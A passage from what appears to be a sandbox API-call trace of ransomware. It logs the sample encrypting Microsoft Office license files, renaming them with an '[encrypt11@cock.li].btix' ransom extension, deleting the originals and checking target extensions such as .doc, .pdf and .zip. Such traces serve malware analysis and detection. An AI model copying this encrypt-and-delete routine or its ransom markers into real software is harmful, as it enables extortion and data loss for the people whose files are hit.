office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0142.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0142.910] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.910] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0142.911] GetLastError () returned 0x0 [0142.911] ReadFile (in: hFile=0x55c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0xd34, lpOverlapped=0x0) returned 1 [0142.931] WriteFile (in: hFile=0x370, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xd40, lpOverlapped=0x0) returned 1 [0142.932] ReadFile (in: hFile=0x55c, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.932] WriteFile (in: hFile=0x370, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x10a, lpOverlapped=0x0) returned 1 [0142.932] SetEndOfFile (hFile=0x370) returned 1 [0142.932] CloseHandle (hObject=0x370) returned 1 [0142.932] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.932] SetEndOfFile (hFile=0x55c) returned 1 [0142.944] CloseHandle (hObject=0x55c) returned 1 [0142.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1 [0142.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0142.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0142.948] lstrlenW (lpString=".doc") returned 4 [0142.948] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.948] lstrlenW (lpString=".docx") returned 5 [0142.948] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.948] lstrlenW (lpString=".pdf") returned 4 [0142.948] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.948] lstrlenW (lpString=".xls") returned 4 [0142.948] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.948] lstrlenW (lpString=".xlsx") returned 5 [0142.948] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.948] lstrlenW (lpString=".ppt") returned 4 [0142.948] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0142.949] lstrlenW (lpString=".zip") returned 4 [0142.949] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.949] lstrlenW (lpString=".rar") returned 4 [0142.949] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.949] lstrlenW (lpString=".bz2") returned 4 [0142.949] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.949] lstrlenW (lpString=".7z") returned 3 [0142.949] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0142.949] lstrlenW (lpString=".dbf") returned 4 [0142.949] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0142.949] lstrlenW (lpString=".1cd") returned 4 [0142.949] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0142.949] lstrlenW (lpString=".jpg") returned 4 [0142.949] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.952] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10635) returned 1 [0142.952] CloseHandle (hObject=0x550) returned 1 [0142.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 0x220 [0142.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.955] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.955] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0142.956] GetLastError () returned 0x0 [0142.956] ReadFile (in: hFile=0x550, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x298b, lpOverlapped=0x0) returned 1 [0142.959] WriteFile (in: hFile=0x564, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x2990, lpOverlapped=0x0) returned 1 [0142.960] ReadFile (in: hFile=0x550, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.960] WriteFile (in: hFile=0x564, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x106, lpOverlapped=0x0) returned 1 [0142.960] SetEndOfFile (hFile=0x564) returned 1 [0142.960] CloseHandle (hObject=0x564) returned 1 [0142.960] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.960] SetEndOfFile (hFile=0x550) returned 1 [0142.963] CloseHandle (hObject=0x550) returned 1 [0142.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-pl.xrm-ms")) returned 1 [0142.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0142.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0142.964] lstrlenW (lpString=".doc") returned 4 [0142.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.964] lstrlenW (lpString=".docx") returned 5 [0142.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.964] lstrlenW (lpString=".pdf") returned 4 [0142.964] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.964] lstrlenW (lpString=".xls") returned 4 [0142.965] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.965] lstrlenW (lpString=".xlsx") returned 5 [0142.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.965] lstrlenW (lpString=".ppt") returned 4 [0142.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0142.965] lstrlenW (lpString=".zip") returned 4 [0142.965] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.965] lstrlenW (lpString=".rar") returned 4 [0142.965] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.965] lstrlenW (lpString=".bz2") returned 4 [0142.965] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.965] lstrlenW (lpString=".7z") returned 3 [0142.965] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0142.965] lstrlenW (lpString=".dbf") returned 4 [0142.965] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0142.965] lstrlenW (lpString=".1cd") returned 4 [0142.965] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-pl.xrm-ms") returned 75 [0142.965] lstrlenW (lpString=".jpg") returned 4 [0142.965] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.966] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=20846) returned 1 [0142.966] CloseHandle (hObject=0x550) returned 1 [0142.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 0x220 [0142.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.966] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.967] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0142.967] GetLastError () returned 0x0 [0142.967] ReadFile (in: hFile=0x550, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x516e, lpOverlapped=0x0) returned 1 [0142.976] WriteFile (in: hFile=0x564, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x5170, lpOverlapped=0x0) returned 1 [0142.977] ReadFile (in: hFile=0x550, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.977] WriteFile (in: hFile=0x564, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x108, lpOverlapped=0x0) returned 1 [0142.977] SetEndOfFile (hFile=0x564) returned 1 [0142.977] CloseHandle (hObject=0x564) returned 1 [0142.977] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.977] SetEndOfFile (hFile=0x550) returned 1 [0142.981] CloseHandle (hObject=0x550) returned 1 [0142.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ppd.xrm-ms")) returned 1 [0142.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0142.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0142.982] lstrlenW (lpString=".doc") returned 4 [0142.982] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.982] lstrlenW (lpString=".docx") returned 5 [0142.982] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.982] lstrlenW (lpString=".pdf") returned 4 [0142.982] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.982] lstrlenW (lpString=".xls") returned 4 [0142.982] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.982] lstrlenW (lpString=".xlsx") returned 5 [0142.982] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.982] lstrlenW (lpString=".ppt") returned 4 [0142.982] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0142.982] lstrlenW (lpString=".zip") returned 4 [0142.982] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.982] lstrlenW (lpString=".rar") returned 4 [0142.982] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.983] lstrlenW (lpString=".bz2") returned 4 [0142.983] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.983] lstrlenW (lpString=".7z") returned 3 [0142.983] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0142.983] lstrlenW (lpString=".dbf") returned 4 [0142.983] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0142.983] lstrlenW (lpString=".1cd") returned 4 [0142.983] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ppd.xrm-ms") returned 76 [0143.230] lstrlenW (lpString=".jpg") returned 4 [0143.230] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.336] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=20844) returned 1 [0143.336] CloseHandle (hObject=0x550) returned 1 [0143.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220 [0143.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0143.758] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.758] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0143.942] GetLastError () returned 0x0 [0143.942] ReadFile (in: hFile=0x560, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x516c, lpOverlapped=0x0) returned 1 [0143.958] WriteFile (in: hFile=0x54c, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x5170, lpOverlapped=0x0) returned 1 [0143.959] ReadFile (in: hFile=0x560, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.959] WriteFile (in: hFile=0x54c, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x104, lpOverlapped=0x0) returned 1 [0143.960] SetEndOfFile (hFile=0x54c) returned 1 [0143.980] CloseHandle (hObject=0x54c) returned 1 [0143.980] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.980] SetEndOfFile (hFile=0x560) returned 1 [0144.004] CloseHandle (hObject=0x560) returned 1 [0144.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 1 [0144.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0144.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0144.675] lstrlenW (lpString=".doc") returned 4 [0144.675] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.675] lstrlenW (lpString=".docx") returned 5 [0144.675] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.675] lstrlenW (lpString=".pdf") returned 4 [0144.675] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.675] lstrlenW (lpString=".xls") returned 4 [0144.675] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.675] lstrlenW (lpString=".xlsx") returned 5 [0144.675] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.675] lstrlenW (lpString=".ppt") returned 4 [0144.675] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0144.675] lstrlenW (lpString=".zip") returned 4 [0144.675] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.676] lstrlenW (lpString=".rar") returned 4 [0144.676] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.676] lstrlenW (lpString=".bz2") returned 4 [0144.676] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.676] lstrlenW (lpString=".7z") returned 3 [0144.676] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0144.676] lstrlenW (lpString=".dbf") returned 4 [0144.676] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0144.676] lstrlenW (lpString=".1cd") returned 4 [0144.676] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms") returned 74 [0144.676] lstrlenW (lpString=".jpg") returned 4 [0144.676] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.676] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=11624) returned 1 [0144.702] CloseHandle (hObject=0x390) returned 1 [0144.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0144.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.703] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.703] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0144.837] GetLastError () returned 0x0 [0144.837] ReadFile (in: hFile=0x390, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x2d68, lpOverlapped=0x0) returned 1 [0144.838] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0144.839] ReadFile (in: hFile=0x390, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.839] WriteFile (in: hFile=0x508, lpBuffer=0x41a1020*, 